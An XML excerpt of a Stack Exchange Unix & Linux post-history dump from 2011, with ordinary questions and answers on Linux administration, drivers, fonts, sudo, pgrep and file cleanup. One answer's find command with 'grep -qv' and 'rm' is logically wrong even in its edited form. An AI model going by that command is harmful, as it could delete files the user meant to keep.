  <row Id="32911" PostHistoryTypeId="5" PostId="13303" RevisionGUID="57203bd3-a461-441a-afad-f6447b4313a7" CreationDate="2011-05-16T23:44:47.243" UserId="7011" Comment="deleted 60 characters in body" Text="I am trying to port some I2C device drivers I wrote for an other kernel to work with the newer I2C binding model. The kernel documentation goes through the steps of doing this: http://www.mjmwired.net/kernel/Documentation/i2c/upgrading-clients&#xD;&#xA;&#xD;&#xA;The thing that I don't understand is when using this new model, how does one specify the I2C address of the device? It used to be done like this:&#xD;&#xA;&#xD;&#xA;    static unsigned short normal_i2c[] = { 0x67, I2C_CLIENT_END };&#xD;&#xA;&#xD;&#xA;    I2C_CLIENT_INSMOD;&#xD;&#xA;&#xD;&#xA;I don't think my bus/device supports detection." />
  <row Id="32912" PostHistoryTypeId="25" PostId="13303" RevisionGUID="33d20145-0785-46e5-9452-d3645ce41d0a" CreationDate="2011-05-17T00:12:16.480" Comment="http://twitter.com/#!/StackUnix/status/70280436185698304" />
  <row Id="32914" PostHistoryTypeId="2" PostId="13305" RevisionGUID="30b60107-194f-49d7-bbb6-b530b0e18aa0" CreationDate="2011-05-17T02:45:19.163" UserId="7372" Text="There is a hundreds of `.html` files in a directory. I should delete files which does not contain word `bluecar` in the contents&#xD;&#xA;&#xD;&#xA;I thought sed with rm would do that, but I don't know how to combine it." />
  <row Id="32915" PostHistoryTypeId="1" PostId="13305" RevisionGUID="30b60107-194f-49d7-bbb6-b530b0e18aa0" CreationDate="2011-05-17T02:45:19.163" UserId="7372" Text="Delete files if contents does not matching pattern" />
  <row Id="32916" PostHistoryTypeId="3" PostId="13305" RevisionGUID="30b60107-194f-49d7-bbb6-b530b0e18aa0" CreationDate="2011-05-17T02:45:19.163" UserId="7372" Text="éfilesàésedàérmà" />
  <row Id="32917" PostHistoryTypeId="25" PostId="13290" RevisionGUID="6ba022a2-3aef-4d29-80c6-43bbb530bed5" CreationDate="2011-05-17T03:12:17.123" Comment="http://twitter.com/#!/StackUnix/status/70325737256787968" />
  <row Id="32918" PostHistoryTypeId="2" PostId="13306" RevisionGUID="08852cc3-f6a2-4ee2-99fb-39335bdfd7ad" CreationDate="2011-05-17T03:14:10.480" UserId="2862" Text="This should work using grep:&#xD;&#xA;&#xD;&#xA;    grep -L bluecar *.html | xargs rm" />
  <row Id="32919" PostHistoryTypeId="2" PostId="13307" RevisionGUID="4d534d0c-c7a4-4ac3-ba03-8b4bd94e43bd" CreationDate="2011-05-17T03:36:00.720" UserId="3082" Text="The easiest way to edit network configuration from a shell on CentOS is to use the tool `/usr/sbin/system-config-network-tui`. You could also use `/usr/sbin/system-config-network-cmd` if you know the exact setting names.&#xD;&#xA;&#xD;&#xA;Otherwise, you have to edit the files /etc/sysconfig/network for the HOSTNAME, and `/etc/sysconfig/network-scripts/ifcfg-eth0` for eth0 configuration. But you need to know what the values should be such BOOTPROTO=static, or dhcp for dhcp." />
  <row Id="32920" PostHistoryTypeId="2" PostId="13308" RevisionGUID="23710406-7bae-487d-a9d0-16bfdd8fa39e" CreationDate="2011-05-17T03:38:38.030" UserId="3082" Text="The `find` tool is the usual one to use.&#xD;&#xA;&#xD;&#xA;    find . -name &quot;*.html&quot; -exec grep -qv bluecar {} \; -exec rm {} \;&#xD;&#xA;&#xD;&#xA;But try it on a copy first..." />
  <row Id="32921" PostHistoryTypeId="2" PostId="13309" RevisionGUID="ed174b8f-4b95-4fec-94c2-6643b7dc8a66" CreationDate="2011-05-17T04:11:04.097" UserId="4335" Text="I installed few free fonts from [smashingmagazine.com][1] on my Fedora 14 laptop. I didn't like them much so I removed them from `/usr/share/fots` using `rm -f`. The consequence was that my Google Chrome browser fonts changed automatically. &#xD;&#xA;&#xD;&#xA;Since Fedora 15 is round the corner, I don't bother much about the issue. But after installing Fedora 15, I'd like to make sure that I can add and remove fonts safely from my laptop without affecting font settings in any other application (specially browser). What way can I do that and what points should I keep in mind? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.smashingmagazine.com" />
  <row Id="32922" PostHistoryTypeId="1" PostId="13309" RevisionGUID="ed174b8f-4b95-4fec-94c2-6643b7dc8a66" CreationDate="2011-05-17T04:11:04.097" UserId="4335" Text="Fedora : Adding extra fonts in a safe manner" />
  <row Id="32923" PostHistoryTypeId="3" PostId="13309" RevisionGUID="ed174b8f-4b95-4fec-94c2-6643b7dc8a66" CreationDate="2011-05-17T04:11:04.097" UserId="4335" Text="élinuxàéfedoraàéfontsà" />
  <row Id="32924" PostHistoryTypeId="2" PostId="13310" RevisionGUID="5a3c430d-3090-4c59-bf3a-046c20bb2fd5" CreationDate="2011-05-17T04:24:51.270" UserId="6988" Text="With GNU grep/xargs you may use&#xD;&#xA;&#xD;&#xA;    grep -LZ str *.html | xargs rm -0" />
  <row Id="32925" PostHistoryTypeId="25" PostId="13305" RevisionGUID="0d0bf296-a3d7-4dde-9107-ff0bb15c219b" CreationDate="2011-05-17T06:12:16.897" Comment="http://twitter.com/#!/StackUnix/status/70371034649477120" />
  <row Id="32927" PostHistoryTypeId="2" PostId="13312" RevisionGUID="d35386f3-6139-48d1-a022-4f8d543eb10c" CreationDate="2011-05-17T06:54:47.140" UserId="1903" Text="I want to create fedora - 14 live CD with additional packages which i want.&#xD;&#xA;&#xD;&#xA;How to do it ? " />
  <row Id="32928" PostHistoryTypeId="1" PostId="13312" RevisionGUID="d35386f3-6139-48d1-a022-4f8d543eb10c" CreationDate="2011-05-17T06:54:47.140" UserId="1903" Text="Add packages on fedora live USB" />
  <row Id="32929" PostHistoryTypeId="3" PostId="13312" RevisionGUID="d35386f3-6139-48d1-a022-4f8d543eb10c" CreationDate="2011-05-17T06:54:47.140" UserId="1903" Text="élinuxàéfedoraàépackagingàéliveöusbàélivecdà" />
  <row Id="32930" PostHistoryTypeId="5" PostId="3346" RevisionGUID="0fd4247e-f536-47d0-bace-a5639e878a87" CreationDate="2011-05-17T07:25:09.140" UserId="-1" Comment="ok I just edited this, but I found that the \015 type linefeed is much more likely to be interpreted in the correct place." Text="Create a `~/.screenrc.top` like so:&#xD;&#xA;&#xD;&#xA;    screen&#xD;&#xA;    stuff &quot;top\015&quot;&#xD;&#xA;&#xD;&#xA;Now run `screen -c ~/.screenrc.top`.  No race condition!" />
  <row Id="32931" PostHistoryTypeId="24" PostId="3346" RevisionGUID="0fd4247e-f536-47d0-bace-a5639e878a87" CreationDate="2011-05-17T07:25:09.140" Comment="Proposed by 169.231.10.156|355c69a3-d1b4-4abb-b037-65fadd4f3ee7 approved by 885 edit id of 378" />
  <row Id="32932" PostHistoryTypeId="2" PostId="13313" RevisionGUID="95cb10c8-ae22-4e32-843a-95cb05ccf4d3" CreationDate="2011-05-17T07:27:40.883" UserId="6960" Text="Does PGPDesktop supports OpenBSD or e.g. Fedora?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Or I can only encrypt my whole hard drive when I use Windows?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thank you!" />
  <row Id="32933" PostHistoryTypeId="1" PostId="13313" RevisionGUID="95cb10c8-ae22-4e32-843a-95cb05ccf4d3" CreationDate="2011-05-17T07:27:40.883" UserId="6960" Text="Does PGPDesktop supports OpenBSD or e.g. Fedora?" />
  <row Id="32934" PostHistoryTypeId="3" PostId="13313" RevisionGUID="95cb10c8-ae22-4e32-843a-95cb05ccf4d3" CreationDate="2011-05-17T07:27:40.883" UserId="6960" Text="élinuxàéfedoraàésecurityàéopenbsdà" />
  <row Id="32935" PostHistoryTypeId="5" PostId="13276" RevisionGUID="a4161afb-b30e-4fa8-8aea-7e32d7c1c352" CreationDate="2011-05-17T07:37:43.513" UserId="688" Comment="deleted 4 characters in body; edited title" Text="Is there a commandline tool for GNU/Linux which will analyse download and upload speed, packet-loss, latency and other factors which will indicate internet connectivity status?" />
  <row Id="32936" PostHistoryTypeId="4" PostId="13276" RevisionGUID="a4161afb-b30e-4fa8-8aea-7e32d7c1c352" CreationDate="2011-05-17T07:37:43.513" UserId="688" Comment="deleted 4 characters in body; edited title" Text="Commandline tool for comprehensive and integrated testing of internet connectivity" />
  <row Id="32937" PostHistoryTypeId="2" PostId="13314" RevisionGUID="ebe55e33-6ec0-401d-b6f7-bf34efa0ec3d" CreationDate="2011-05-17T08:22:49.840" UserId="1262" Text="I always thought that traditional file systems, are geared and optimized for non-ssd drive, where, for instance, data locality is important, and fragmentation is problematic.&#xD;&#xA;&#xD;&#xA;Is there a file system recommended today for SSD drives? Am I better off just using ext4?" />
  <row Id="32938" PostHistoryTypeId="1" PostId="13314" RevisionGUID="ebe55e33-6ec0-401d-b6f7-bf34efa0ec3d" CreationDate="2011-05-17T08:22:49.840" UserId="1262" Text="File system for an SSD drive" />
  <row Id="32939" PostHistoryTypeId="3" PostId="13314" RevisionGUID="ebe55e33-6ec0-401d-b6f7-bf34efa0ec3d" CreationDate="2011-05-17T08:22:49.840" UserId="1262" Text="éfilesystemsàéssdà" />
  <row Id="32940" PostHistoryTypeId="2" PostId="13315" RevisionGUID="3e1d2eef-417b-4887-9d86-992abf35d966" CreationDate="2011-05-17T08:59:08.937" UserId="36" Text="If available in your kernel and you are feeling adventurous you may wish to consider [NILFS][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Otherwise use ext4 but mount with noatime - see [here][2] for more tips.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.nilfs.org/en/about_nilfs.html&#xD;&#xA;  [2]: http://www.zdnet.com/blog/perlow/geek-sheet-a-tweakers-guide-to-solid-state-drives-ssds-and-linux/9190" />
  <row Id="32941" PostHistoryTypeId="25" PostId="13314" RevisionGUID="61133e2f-8a0a-4412-94af-ebb0fbbabfa9" CreationDate="2011-05-17T09:12:16.720" Comment="http://twitter.com/#!/StackUnix/status/70416332717432832" />
  <row Id="32942" PostHistoryTypeId="5" PostId="13240" RevisionGUID="bf6163d2-cbc6-4fdc-b449-554df1d0c6dd" CreationDate="2011-05-17T09:40:52.183" UserId="5454" Comment="follow-up; added 142 characters in body" Text="Hi folks,&#xD;&#xA;&#xD;&#xA;Is there any way to specify that `sudo` should preserve certain environment variables for specified commands only?  For some purposes I'd like my `$HOME` env. variable preserved when I run certain commands -- for other purposes and other commands, I want it reset.  Can this be done with `/etc/sudoers`?&#xD;&#xA;&#xD;&#xA;cheers!&#xD;&#xA;&#xD;&#xA;simon&#xD;&#xA;&#xD;&#xA;**edit:**&#xD;&#xA;&#xD;&#xA;Thank you for the answers gents -- I wonder if I might ask a follow-up question, which is &quot;Why, then, does this not work?!&quot; :)&#xD;&#xA;&#xD;&#xA;In the example I'm trying to get working, I want `sudo nano` to read my `$HOME/.nanorc`.  If I use this:&#xD;&#xA;&#xD;&#xA;    Defaults:simon env_keep=HOME&#xD;&#xA;&#xD;&#xA;it works perfectly.  If I use this:&#xD;&#xA;&#xD;&#xA;    Defaults!/bin/nano env_keep=HOME&#xD;&#xA;&#xD;&#xA;or this:&#xD;&#xA;&#xD;&#xA;    Cmnd_Alias      NANO = /usr/bin/nano,/bin/nano,/bin/rnano&#xD;&#xA;    Defaults!NANO   env_keep=HOME&#xD;&#xA;&#xD;&#xA;it's not working at all.  Any suggestions as to why?  (I'm on Debian testing, btw.)&#xD;&#xA;&#xD;&#xA;(Note:  I don't think it's `nano` specific, btw -- I can reproduce the behaviour with a one-line bash script that simply `echo`s `$HOME`).&#xD;&#xA;&#xD;&#xA;thanks!" />
  <row Id="32943" PostHistoryTypeId="2" PostId="13316" RevisionGUID="e417e51a-b4cc-48bc-bb91-0b207bccb382" CreationDate="2011-05-17T09:56:58.277" UserId="7545" Text="I own ASUS wl-520gU - 4 LAN, 1 WAN, WiFi, 1 USB, 4mb flash rom, 16mb ram. Broadcom BCM5354 @ 240&#xD;&#xA;&#xD;&#xA;It's going to be used as a micro-computer rather than router - currently I'm experimenting with WiFi radio.&#xD;&#xA;&#xD;&#xA;I found that OpenWRT is hanging my router after ~30-60 minutes of idle. DD-WRT is reported to behave in tha same manner. And what I really dislike about OpenWRT - their forum is more about complaining users than helping developers — at least that's what I feel.&#xD;&#xA;&#xD;&#xA;So, my requirements are - Linux with 2.6 kernel (needed for USB 2.0, as far as I understand), suiting the given specs, with good package manager and packages base.&#xD;&#xA;&#xD;&#xA;Out of modules I need USB 2.0, USB audio, USB HID, CP210x, USB Storage, EXT3.&#xD;&#xA;&#xD;&#xA;Out of programs I need python 2.6+, mpd, mpc.&#xD;&#xA;&#xD;&#xA;I'm OK with building the system image from sources, if needed, but package manager is desired." />
  <row Id="32944" PostHistoryTypeId="1" PostId="13316" RevisionGUID="e417e51a-b4cc-48bc-bb91-0b207bccb382" CreationDate="2011-05-17T09:56:58.277" UserId="7545" Text="Good OpenWRT alternative?" />
  <row Id="32945" PostHistoryTypeId="3" PostId="13316" RevisionGUID="e417e51a-b4cc-48bc-bb91-0b207bccb382" CreationDate="2011-05-17T09:56:58.277" UserId="7545" Text="éembeddedàéopenwrtà" />
  <row Id="32946" PostHistoryTypeId="5" PostId="13316" RevisionGUID="f62a47f5-7371-4720-8793-a6efd9c434ff" CreationDate="2011-05-17T10:02:19.940" UserId="7545" Comment="added 137 characters in body" Text="I own ASUS wl-520gU - 4 LAN, 1 WAN, WiFi, 1 USB, 4mb flash rom, 16mb ram. Broadcom BCM5354 @ 240&#xD;&#xA;&#xD;&#xA;It's going to be used as a micro-computer rather than router - currently I'm experimenting with WiFi radio.&#xD;&#xA;&#xD;&#xA;I found that OpenWRT is hanging my router after ~30-60 minutes of idle. DD-WRT is reported to behave in tha same manner. And what I really dislike about OpenWRT - their forum is more about complaining users than helping developers — at least that's what I feel.&#xD;&#xA;&#xD;&#xA;So, my requirements are - Linux with 2.6 kernel (needed for USB 2.0, as far as I understand), suiting the given specs, with good package manager and packages base.&#xD;&#xA;&#xD;&#xA;Out of modules I need USB 2.0, USB audio, USB HID, CP210x, USB Storage, EXT3.&#xD;&#xA;&#xD;&#xA;Out of programs I need python 2.6+, mpd, mpc.&#xD;&#xA;&#xD;&#xA;I'm OK with building the system image from sources, if needed, but package manager is desired.&#xD;&#xA;&#xD;&#xA;Add: I usually move all my packages to USB partition to increase space for them, so some pre-baked tool like extroot is good as well." />
  <row Id="32947" PostHistoryTypeId="2" PostId="13317" RevisionGUID="51bba2ec-34d2-4349-b7d1-d041721b98f5" CreationDate="2011-05-17T10:08:10.917" UserId="7505" Text="I figured out the solution and have posted it on my blog. wmictrl did the trick. I found a script on fluxbox wiki which finds an application if its already running and raises its window or launches it if no instances is running. I'm using that script with certain tweaks to launch applications.&#xD;&#xA;&#xD;&#xA;I have documented it here:&#xD;&#xA;http://www.humbug.in/2011/single-keyboard-shortcut-to-launchraise-an-application/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32948" PostHistoryTypeId="2" PostId="13318" RevisionGUID="feb0c6ff-971e-44ce-b42e-ce1bcdfcd7ef" CreationDate="2011-05-17T10:09:52.090" UserId="916" Text="If you really want to encrypt a disk under OpenBSD, [this can help][1].&#xD;&#xA;&#xD;&#xA;[1]: http://www.backwatcher.org/writing/howtos/obsd-encrypted-filesystem.html&#xD;&#xA;" />
  <row Id="32949" PostHistoryTypeId="2" PostId="13319" RevisionGUID="c8b44580-821a-44e3-9ecb-ac88e5b2e146" CreationDate="2011-05-17T10:11:18.060" UserId="1925" Text="OpenWRT and DDWRT are the two main distros in this category. I would encourage you to help find and fix the issue. If it's affecting both distros, it's likely to be a kernel problem that you would run into even if you built your own system from sources only.&#xD;&#xA;&#xD;&#xA;It is unfortunate that the developer community is so small compared to the user base on these specialty distros, but the best way to fix that is to help reverse the trend. At the very least if you can pitch in to help with some more generic user problems maybe you can get some dev to help out with your harder problem." />
  <row Id="32950" PostHistoryTypeId="5" PostId="13313" RevisionGUID="e369c29b-418d-47b5-9a45-5dda57976c69" CreationDate="2011-05-17T10:28:43.723" UserId="1925" Comment="deleted 34 characters in body; edited tags" Text="Does PGPDesktop support OpenBSD or e.g. Fedora, or can I only encrypt my whole hard drive when I use Windows?" />
  <row Id="32951" PostHistoryTypeId="6" PostId="13313" RevisionGUID="e369c29b-418d-47b5-9a45-5dda57976c69" CreationDate="2011-05-17T10:28:43.723" UserId="1925" Comment="deleted 34 characters in body; edited tags" Text="élinuxàésecurityàéhardödiskàéencryptionàéopenbsdà" />
  <row Id="32952" PostHistoryTypeId="2" PostId="13320" RevisionGUID="ccf70a13-b1e3-4ed2-aae4-c1702a366fbf" CreationDate="2011-05-17T10:35:01.377" UserId="7030" Text="For Fedora, use [LUKS][1].  Actually, use LUKS with any Linux-based distribution. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.fedoraproject.org/en-US/Fedora/14/html-single/Installation_Guide/index.html#encrypt-x86" />
  <row Id="32953" PostHistoryTypeId="2" PostId="13321" RevisionGUID="c5ebf5ab-5d96-4529-b689-3099a41c668a" CreationDate="2011-05-17T10:35:13.700" UserId="1925" Text="The install process of most major linux distros supports enabling full disk encryption. There are several different systems for doing this depending on the filesystem and distro.&#xD;&#xA;&#xD;&#xA;That said, it is much more common to just encrypt home directories. This is where almost everything that matters is anyways and make the system a lot easier to maintain or recover in the even of problems." />
  <row Id="32954" PostHistoryTypeId="2" PostId="13322" RevisionGUID="5d8dc254-73c6-4a62-bbe6-8364e0cb325c" CreationDate="2011-05-17T10:50:28.727" UserId="6960" Text="http://www.backwatcher.org/writing/howtos/obsd-encrypted-filesystem.html" />
  <row Id="32955" PostHistoryTypeId="2" PostId="13323" RevisionGUID="af18dec0-5939-435f-b816-7d9717fc7019" CreationDate="2011-05-17T10:55:50.313" UserId="6960" Text="	$ ps aux|grep -i ssh&#xD;&#xA;	USER      4364  0.0  0.0   9004  1032 ?        Ss   12:20   0:00 ssh -v -fND localhost:4000 USERNAME@SERVER-IP-ADDRESS&#xD;&#xA;	$ pgrep localhost:4000&#xD;&#xA;	$ &#xD;&#xA;&#xD;&#xA;Why isn't it works?" />
  <row Id="32956" PostHistoryTypeId="1" PostId="13323" RevisionGUID="af18dec0-5939-435f-b816-7d9717fc7019" CreationDate="2011-05-17T10:55:50.313" UserId="6960" Text="Why can't I pgrep a process?" />
  <row Id="32957" PostHistoryTypeId="3" PostId="13323" RevisionGUID="af18dec0-5939-435f-b816-7d9717fc7019" CreationDate="2011-05-17T10:55:50.313" UserId="6960" Text="élinuxàébashà" />
  <row Id="32958" PostHistoryTypeId="2" PostId="13324" RevisionGUID="75c0b41c-a8f3-4e61-a59e-ea77f9bc1f74" CreationDate="2011-05-17T11:00:21.530" UserId="1078" Text="By default, `pgrep(1)` will only match against the process name. If you want to match against the full command line, use the `-f` option:&#xD;&#xA;&#xD;&#xA;    $ pgrep -f localhost:4000&#xD;&#xA;" />
  <row Id="32959" PostHistoryTypeId="2" PostId="13325" RevisionGUID="22f6a68d-1d48-46b3-920e-a515844f5791" CreationDate="2011-05-17T11:01:15.723" UserId="1925" Text="Have a look at the [man page for pgrep][1]. It is not just an alias for running ps with a bunch of columns and then greping the text output. It actually searches specific fields for values. By default, it only looks at the *process name* when doing a search and returns the *PID*. You can search the full command line by adding the `-f` option. You can also search several other fields that might be useful such as matching the terminal where a process is running or the group id.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/pgrep" />
  <row Id="32960" PostHistoryTypeId="2" PostId="13326" RevisionGUID="354cbdce-1ab3-498c-b600-cb3d984982a6" CreationDate="2011-05-17T11:09:14.030" UserId="7547" Text="How to rewrite this command to email only if there is output for the mailq, grep?&#xD;&#xA;mailq | egrep 'rejected|refused' -A 5 -B 5 | mail -s 'dd' email@email&#xD;&#xA;&#xD;&#xA;If it is possible in one line?" />
  <row Id="32961" PostHistoryTypeId="1" PostId="13326" RevisionGUID="354cbdce-1ab3-498c-b600-cb3d984982a6" CreationDate="2011-05-17T11:09:14.030" UserId="7547" Text="mailq | egrep 'rejected|refused' -A 5 -B 5 | mail -s 'dd' email@email" />
  <row Id="32962" PostHistoryTypeId="3" PostId="13326" RevisionGUID="354cbdce-1ab3-498c-b600-cb3d984982a6" CreationDate="2011-05-17T11:09:14.030" UserId="7547" Text="ébashà" />
  <row Id="32963" PostHistoryTypeId="2" PostId="13327" RevisionGUID="89c20903-b978-4467-8096-d65eeec6a4de" CreationDate="2011-05-17T11:20:34.647" UserId="1925" Text="IBM has [an article][1] that goes over the basics of SMIT. Since SMIT is a just an administration interface to AIX in general, the [other whitepapers on AIX][2] also have relevant information as you go along.&#xD;&#xA;&#xD;&#xA;There is [an article covering SMIT][3] in brief in Volume 10 of SysAdmin, along with a [few other pieces][4] on AIX.&#xD;&#xA;&#xD;&#xA;The wikipedia coverage is pretty sketchy, but the [IBM AIX SMIT page][5] page has a few of the keybindings and a good summary of what you're dealing with.&#xD;&#xA;&#xD;&#xA;As far as a list of commands goes, SMIT is just a [control interface for other system commands][6], and you cat get some command line arguments for it in [this documentation][7].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ibm.com/developerworks/aix/library/au-smit/index.html&#xD;&#xA;  [2]: http://www-03.ibm.com/systems/power/software/aix/whitepapers/index.html&#xD;&#xA;  [3]: http://www.theillien.com/Sys_Admin_v12/html/v10/i13/a7.htm&#xD;&#xA;  [4]: http://www.theillien.com/Sys_Admin_v12/html/v10/i13/v10i13.htm&#xD;&#xA;  [5]: http://en.wikipedia.org/wiki/IBM_AIX_SMIT&#xD;&#xA;  [6]: http://publib.boulder.ibm.com/infocenter/pseries/v5r3/topic/com.ibm.aix.cmds/doc/aixcmds5/smit.htm&#xD;&#xA;  [7]: http://publib.boulder.ibm.com/infocenter/pseries/v5r3/index.jsp?topic=/com.ibm.aix.cmds/doc/aixcmds5/smit.htm" />
  <row Id="32964" PostHistoryTypeId="2" PostId="13328" RevisionGUID="c5c5976c-751b-415c-8dc6-3953cc74254d" CreationDate="2011-05-17T11:32:20.640" UserId="1925" Text="I think you will have to use a temp file for this operation so that you can use the `&amp;&amp;` operator to only run the mail command if the grep returned an exit status that says it had matches like this:&#xD;&#xA;&#xD;&#xA;    TMPFILE=`mktemp /tmp/mailqgrep.XXXXXX`; mailq | egrep 'rejected|refused' -A5 -B5 &gt; $TMPFILE &amp;&amp; mail -s 'dd' email@email &lt; $TMPFILE; rm $TMPFILE" />
  <row Id="32965" PostHistoryTypeId="5" PostId="13317" RevisionGUID="4c5f7f4f-4b6a-4fec-bb47-a6c326e98446" CreationDate="2011-05-17T11:36:03.400" UserId="7505" Comment="added a missing filename" Text="I figured out the solution and have posted it on my blog. wmictrl did the trick. I found a script on fluxbox wiki which finds an application if its already running and raises its window or launches it if no instances is running. I'm using that script with certain tweaks to launch applications.&#xD;&#xA;&#xD;&#xA;I have documented it here:&#xD;&#xA;http://www.humbug.in/2011/single-keyboard-shortcut-to-launchraise-an-application/&#xD;&#xA;&#xD;&#xA;I updated the script to support arguments, the result is:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    # Find_app&#xD;&#xA;    # Author: Lucas van Staden (lvs at dedmeet.com / http://www.dedmeet.com)&#xD;&#xA;    # This little script will try and find the application attempting to start&#xD;&#xA;    # in the running processes, and if found, focus the application&#xD;&#xA;    # if not found, a new instance will start&#xD;&#xA;    # usage:&#xD;&#xA;    # find_app.sh &lt;application with full path&gt;&#xD;&#xA;    # params&#xD;&#xA;    # 1 - application to start (full path)&#xD;&#xA;    # helper applications&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    # Find_app&#xD;&#xA;    # Author: Lucas van Staden (lvs at dedmeet.com / http://www.dedmeet.com)&#xD;&#xA;    # This little script will try and find the application attempting to start&#xD;&#xA;    # in the running processes, and if found, focus the application&#xD;&#xA;    # if not found, a new instance will start&#xD;&#xA;    # usage:&#xD;&#xA;    # find_app.sh &lt;application with full path&gt;&#xD;&#xA;    # params&#xD;&#xA;    # 1 - application to start (full path)&#xD;&#xA;    # helper applications&#xD;&#xA;    DOLLARONE=$(echo $1 | sed -e 's/[\t ]*$//') #Delete trailing spaces&#xD;&#xA;    WMCTRL=`which wmctrl`;&#xD;&#xA;    GREP=`which grep`;&#xD;&#xA;    APPLICATION=$(echo $DOLLARONE | cut -d ' ' -f 1)&#xD;&#xA;    if [ &quot;x$APPLICATION&quot; != &quot;x$DOLLARONE&quot; ]; then&#xD;&#xA;      APPARGS=$(echo $DOLLARONE | cut -d ' ' -f 2)&#xD;&#xA;    fi&#xD;&#xA;    BASENAME=`basename $APPLICATION`;&#xD;&#xA;    BASENAME=`echo $BASENAME | tr &quot;[:upper:]&quot; &quot;[:lower:]&quot;`&#xD;&#xA;    FOUND=0;&#xD;&#xA;    function findwindow {&#xD;&#xA;    # 1 = BASENAME&#xD;&#xA;    # 2 = WMCTRL&#xD;&#xA;    # 3 = GREP&#xD;&#xA;            IFS=$'\n';&#xD;&#xA;            for RUNNING in `$2 -l -x`&#xD;&#xA;            do&#xD;&#xA;                    if [ `echo $RUNNING | tr &quot;[:upper:]&quot; &quot;[:lower:]&quot; | $3 -c $DOLLARONE` -gt 0 ]&#xD;&#xA;                    then&#xD;&#xA;                            HOSTNAME=`hostname`&#xD;&#xA;                            WINDOW=${RUNNING#*${HOSTNAME} }&#xD;&#xA;                            $2 -a $WINDOW&#xD;&#xA;                            FOUND=1;&#xD;&#xA;                    fi;&#xD;&#xA;            done&#xD;&#xA;    }&#xD;&#xA;    if [ &quot;x$APPARGS&quot; = &quot;x&quot; ]; then&#xD;&#xA;      findwindow $BASENAME $WMCTRL $GREP;&#xD;&#xA;      if [ $FOUND -eq 0 ]&#xD;&#xA;      then&#xD;&#xA;              $APPLICATION &amp;&#xD;&#xA;              sleep 2;&#xD;&#xA;              # Try and find the application, after opened&#xD;&#xA;              findwindow $BASENAME $WMCTRL $GREP;&#xD;&#xA;              if [ $FOUND -eq 0 ]&#xD;&#xA;              then&#xD;&#xA;                      # Still not found, wait a bit more, and try again&#xD;&#xA;                      sleep 3;&#xD;&#xA;                      findwindow $BASENAME $WMCTRL $GREP;&#xD;&#xA;              fi&#xD;&#xA;      fi&#xD;&#xA;    else&#xD;&#xA;      $APPLICATION $APPARGS &amp;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;Add the above script to your path, possibly in `$HOME/bin/find_app.sh` and make it executable and make sure its in your path.&#xD;&#xA;&#xD;&#xA;Now update the desktop entry files of the applications you want to have a singular shortcut for launching as well as raising, so that the applications are invoked through the above script.&#xD;&#xA;&#xD;&#xA;For eg.&#xD;&#xA;&#xD;&#xA;    cp /usr/share/applications/firefox.desktop ~/.local/share/applications/&#xD;&#xA;&#xD;&#xA;Edit firefox.desktop in `~/.local/share/applications/` and change Exec to &#xD;&#xA;&#xD;&#xA;    Exec=find_app.sh &quot;firefox %u&quot;&#xD;&#xA;&#xD;&#xA;Now add keyboard shortcut for your default broswer `System Settings =&gt; Keyboard =&gt; Shortcuts =&gt; Launchers =&gt; Launch Web Browser`&#xD;&#xA;&#xD;&#xA;Now restart gnome shell =&gt; Press `Alt r` to bring up the run dialog. Input `r` and press `Enter`.&#xD;&#xA;&#xD;&#xA;Now you should be able to launch/raise your browser using a singular keyboard shortcut." />
  <row Id="32966" PostHistoryTypeId="5" PostId="13310" RevisionGUID="97c8a09e-b6a8-41c1-943d-917e24f8cece" CreationDate="2011-05-17T11:40:35.223" UserId="885" Comment="typo" Text="With GNU grep/xargs you may use&#xD;&#xA;&#xD;&#xA;    grep -LZ str *.html | xargs -0 rm" />
  <row Id="32967" PostHistoryTypeId="5" PostId="13308" RevisionGUID="43293216-f1fc-4f5f-8063-8258cb020dbc" CreationDate="2011-05-17T11:41:54.147" UserId="885" Comment="call rm if grep returns false!" Text="The `find` tool is the usual one to use.&#xD;&#xA;&#xD;&#xA;    find . -name &quot;*.html&quot; \( -exec grep -qv bluecar {} \; -o -exec rm {} \; \)&#xD;&#xA;&#xD;&#xA;But try it on a copy first..." />
  <row Id="32968" PostHistoryTypeId="2" PostId="13329" RevisionGUID="45763f2e-a263-4a2a-8968-a6d8b202c884" CreationDate="2011-05-17T11:44:28.603" UserId="7505" Text="In Gnome3, there's a facility to assign keyboard shortcuts for applications like your default browser, default email client, default terminal etc. However is there a way to assign keyboard shortcuts for any general application?" />
  <row Id="32969" PostHistoryTypeId="1" PostId="13329" RevisionGUID="45763f2e-a263-4a2a-8968-a6d8b202c884" CreationDate="2011-05-17T11:44:28.603" UserId="7505" Text="In Gnome3, how does one assign keyboard shortcutsfor applications besides the default applications." />
  <row Id="32970" PostHistoryTypeId="3" PostId="13329" RevisionGUID="45763f2e-a263-4a2a-8968-a6d8b202c884" CreationDate="2011-05-17T11:44:28.603" UserId="7505" Text="ékeyboardöshortcutsàégnome3à" />
  <row Id="32971" PostHistoryTypeId="5" PostId="13326" RevisionGUID="744f3e0a-014c-4fc6-998c-7dee424ad17e" CreationDate="2011-05-17T11:45:46.777" UserId="1925" Comment="added 17 characters in body" Text="How can I rewrite this command to only email if there is output from the `mailq | grep`?&#xD;&#xA;&#xD;&#xA;    mailq | egrep 'rejected|refused' -A 5 -B 5 | mail -s 'dd' email@email&#xD;&#xA;&#xD;&#xA;Is this even possible on one line?" />
  <row Id="32972" PostHistoryTypeId="2" PostId="13330" RevisionGUID="77d77b63-e448-485f-9752-ccb7c06c7481" CreationDate="2011-05-17T11:52:08.580" UserId="1925" Text="First get the default all installed and your USB device booting. Then boot it up, and modify it however you like. It should retain any changes.&#xD;&#xA;&#xD;&#xA;To author a new CD iso, you would have to look into building the entire distro yourself which is considerably more complicated. Since your subject line and tags include usb, I assume that's what your actually after." />
